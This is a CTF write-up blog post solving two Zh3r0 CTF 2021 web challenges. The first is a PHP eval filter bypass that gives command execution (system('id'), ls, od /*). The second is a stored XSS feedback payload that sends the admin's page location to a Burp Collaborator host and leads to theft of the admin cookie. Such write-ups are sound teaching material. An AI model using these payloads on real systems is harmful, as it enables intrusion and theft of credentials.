This page looks best with JavaScript enabled

Zh3r0 CTF V2 2021 Writeups

Hosted from 4 June - 6 June

 ·  โ˜• 7 min read  ·  ๐ŸŒˆ๐Ÿ•Š๏ธ rainbowpigeon

Solved very little, but no excuses for this one :)
๐ŸŽต I was listening to Alesso’s PROGRESSO VOL 2 for this CTF!

Details Links
CTFtime.org Event Page https://ctftime.org/event/1285/

Web

strpos and substr

Can you bypass this WAF

Link - strpos and substr: web.zh3r0.cf:2222

Author - hades

Visiting the page shows us the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set('display_errors',0);
include("flag.php");
if(!isset($_GET['user'])) highlight_file(__FILE__);
else{
      $a=$_GET['user'];    
      if(strlen($a)>24 || gettype($a)!=="string" ){
  die("oh nรขu!!");
}
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
  $a=md5($a);
}
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
  $a=md5($a);
}

eval("echo 'Hello ".$a."<br>$flag';");


 }

The user GET query value is taken and checked to be a string of less than 25 characters. If the value fails the two if conditions at line 10 and 13, the value will not be turned into an MD5 hash and will be passed directly to eval in 17, thus allowing for arbitrary code execution.

A normal payload for user would usually be like '.system('id').' which results in

1
eval("echo 'Hello '.system('id').'<br>$flag';");

But because the string concatenation operator . is blacklisted by the first preg_match check in line 10, we can actually use commas instead to supply arguments to echo since it is not a regular function but a language construct. This is described in the manual page for echo, and was suggested by my teammate zeyu2001.
Manual page example:

1
2
echo "hello", " world";
// outputs "hello world"

So our current payload will be this instead: ',system('id'),'.

Let’s next break down the second check in line 13. I’ve formatted it nicely and used variables to replace nested strpos and substr calls. I did dynamic testing on a local PHP server to verify my understanding of the checks.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
$lbrack_pos_from_off4 = strpos(substr($a,4,strlen($a)),"("); // position of ( relative to index 4 of $a
$rbrack_pos_from_off6 = strpos(substr($a,6,strlen($a)),")"); // position of ) relative to index 6 of $a
$substr_from_off4 = substr($a,4,strlen($a)); // substring of $a starting from index 4

$chars12_from_lbrack_after_off4 = substr($substr_from_off4, $lbrack_pos_from_off4, 12); 
// take up to 12 chars starting from any ( occurring after index 4

if(
  ($lbrack_pos_from_off4) > 1 || $rbrack_pos_from_off6 > 1)
  &&
  (
    preg_match("/[A-Za-z0-9_]/i", substr($a, 2 + $lbrack_pos_from_off4, 2)) // take the 2 chars before any ( after index 4
    ||
    preg_match("/[A-Za-z0-9_']/i",
      substr(
        $chars12_from_lbrack_after_off4, // take up to 12 chars starting from any ( after index 4
        strpos($chars12_from_lbrack_after_off4, ")") - 1, // take char before ) in those 12 chars
        1)
    )
  )
)

The if statement is overall composed of two conditions on each side of a && operator. This means that we just need to fail either condition for the whole if statement to be false so that our payload won’t turn into a MD5 hash.

1
($lbrack_pos_from_off4) > 1 || $rbrack_pos_from_off6 > 1)

The first condition from line 9 checks for the existence of ( and ) after index 4 and index 6 of the string respectively, meaning that the PHP command word used for code execution like system ought to be less than 4 characters. But because there seemed to be no such useful command available, I assumed that this check was impossible to bypass.
So, we can move on to focus on the second condition.

1
2
3
4
5
6
7
8
    preg_match("/[A-Za-z0-9_]/i", substr($a, 2 + $lbrack_pos_from_off4, 2)) // take the 2 chars before any ( after index 4
    ||
    preg_match("/[A-Za-z0-9_']/i",
      substr(
        $chars12_from_lbrack_after_off4, // take up to 12 chars starting from any ( after index 4
        strpos($chars12_from_lbrack_after_off4, ")") - 1, // take char before ) in those 12 chars
        1)
    )

The first preg_match dictates that the 2 characters before any ( occurring after index 4 cannot be alphanumeric or an underscore. Fortunately, from the echo manual page I also read that expressions can be evaluated in parentheses.
Manual page example:

1
2
echo("hello"), (" world");
// outputs "hello world"; the parentheses are part of each expression

This means we can modify our payload to be ',('system')('id'),' and the 2 characters before ('id') will not be alphanumeric anymore.

The second preg_match takes up to 12 characters from any ( occuring after index 4, looks for a ) in those 12 characters, and checks if the character before ) is alphanumeric, an underscore, or a single quote.
In our case, we have a single quote ' before ) in ('id') so I added a space before ). The space is represented by + when URL-encoded.
Final payload for code execution: ',('system')('id'+),'

Request:

1
GET /?user=',('system')('id'+),' HTTP/1.1

Response:

Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>

Arbitrary code execution with 'id' command

Listing files with ls showed that there was a flag file in / named FLlA4agGgg999gg.
Request:

1
GET /?user=',('system')('ls+/'+),' HTTP/1.1

Response:

Hello FLlA4agGgg999gg
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
var<br>

However, we can’t use cat to read the file contents because c is blacklisted. The only suitable command that did not breach the payload length limit of 24 was od, which returns an octal dump of the contents of files. I found out about this from https://unix.stackexchange.com/questions/86321/how-can-i-display-the-contents-of-a-text-file-on-the-command-line.

1
GET /?user=',('system')('od+/*'+),' HTTP/1.1
Hello 0000000 066146 063541 062547 062547 070056 070150 005015 066146
0000020 063541 074170 027170 074164 006564 063012 060554 063147
0000040 065541 032545 005015 066146 063541 060546 062553 006464
0000060 063012 060554 063147 065541 031545 005015 066146 063541
0000100 060546 062553 006462 063012 060554 063147 065541 030545
0000120 005015 064172 071063 075460 032127 066522 070125 032137
0000140 043137 067165 030537 031463 031463 031463 031463 033463
0000160 006575 063012 060554 063147 065541 033145
0000174
0000174<br>

With guidance from this stackoverflow answer explaining how to interpret od’s output, I wrote a script to convert the octal dump back to a string. Note that byte order is swapped at line 7. I also ignored some bytes that was messing up the final flag output using line 6, but I don’t know the reason behind this.

1
2
3
4
5
6
7
8
9
dump = " 000000 066146 063541 062547 062547 070056 070150 005015 066146  000020 063541 074170 027170 074164 006564 063012 060554 063147  000040 065541 032545 005015 066146 063541 060546 062553 006464  000060 063012 060554 063147 065541 031545 005015 066146 063541  000100 060546 062553 006462 063012 060554 063147 065541 030545  000120 005015 064172 071063 075460 032127 066522 070125 032137  000140 043137 067165 030537 031463 031463 031463 031463 033463  000160 006575 063012 060554 063147 065541 033145  000174  000174"
octs = [("0o" + n) for n in  dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
    if (len(hex(n)) > 4):
        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
        result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
D:\Desktop\test>octaldump_to_str.py
flaggege.php
flagxxx.txt
flagfake5
flagfake4
flagfake3
flagfake2
flagfake1
zh3r0{W4RmUp_4_Fun_13333333337}
flagfake6

Flag: zh3r0{W4RmUp_4_Fun_13333333337}

bxxs

We’ve made some new epic updates to our website. Could you send us some feedback on it ?

โฌ‡๏ธ link - bxxs - web.zh3r0.cf:3333
Author - ZyperX

bxxs challenge website with button to feedback link

The website has a link to /feedback, where you can send things to the admin.

Feedback submission form to admin

While simply submitting links does not achieve any effect, my teammate zeyu2001 discovered that you can submit arbitrary HTML that will be rendered on the admin’s side. This is proven with a simple payload like:

1
2
3
<script>
  location="//q5wb3hxrocwf2q1e2o52of85lwrofd.burpcollaborator.net";
</script>

which redirects the admin to our Burp Collaborator server and results in a successful pingback.

Pingback to Burp Collaborator server from admin

My teammate lim_yj found a path /flag that says it’s only for admins, so we probably need to steal the admin’s cookies for access to this page.

Page at /flag says it's for admins only

However, attempting to steal the cookie via the script with document.cookie failed, which we later realized was because the cookie had the HttpOnly attribute. By trying to extract other information instead, my teammate zeyu2001 found out that the admin’s window.location.href value was http://0.0.0.0:8080/Secret_admin_cookie_panel.

Feedback form payload:

1
2
3
<script>
  location="//q5wb3hxrocwf2q1e2o52of85lwrofd.burpcollaborator.net/?w="+window.location.href;
</script>

Admin’s request to Burp Collaborator:

1
2
3
4
5
6
7
8
9
GET /?w=http://0.0.0.0:8080/Secret_admin_cookie_panel HTTP/1.1
Host: q5wb3hxrocwf2q1e2o52of85lwrofd.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4512.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://0.0.0.0:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

Visiting /Secret_admin_cookie_panel sets us with the admin cookie.

Request:

1
2
GET /Secret_admin_cookie_panel HTTP/1.1
Host: web.zh3r0.cf:3333

Response:

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 05 Jun 2021 05:49:49 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 110
Set-Cookie: cookie=zyperxsecret_cookiehahah; HttpOnly

Visiting /flag now gives us the flag.

Request:

1
2
3
GET /flag HTTP/1.1
Host: web.zh3r0.cf:3333
Cookie: cookie=zyperxsecret_cookiehahah;

Response:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: gunicorn
Date: Sun, 06 Jun 2021 14:19:30 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22

zh3r0{{Ea5y_bx55_ri8}}

Flag: zh3r0{{Ea5y_bx55_ri8}}


Thank you for reading!

Share on

rainbowpigeon
WRITTEN BY
rainbowpigeon
OSCP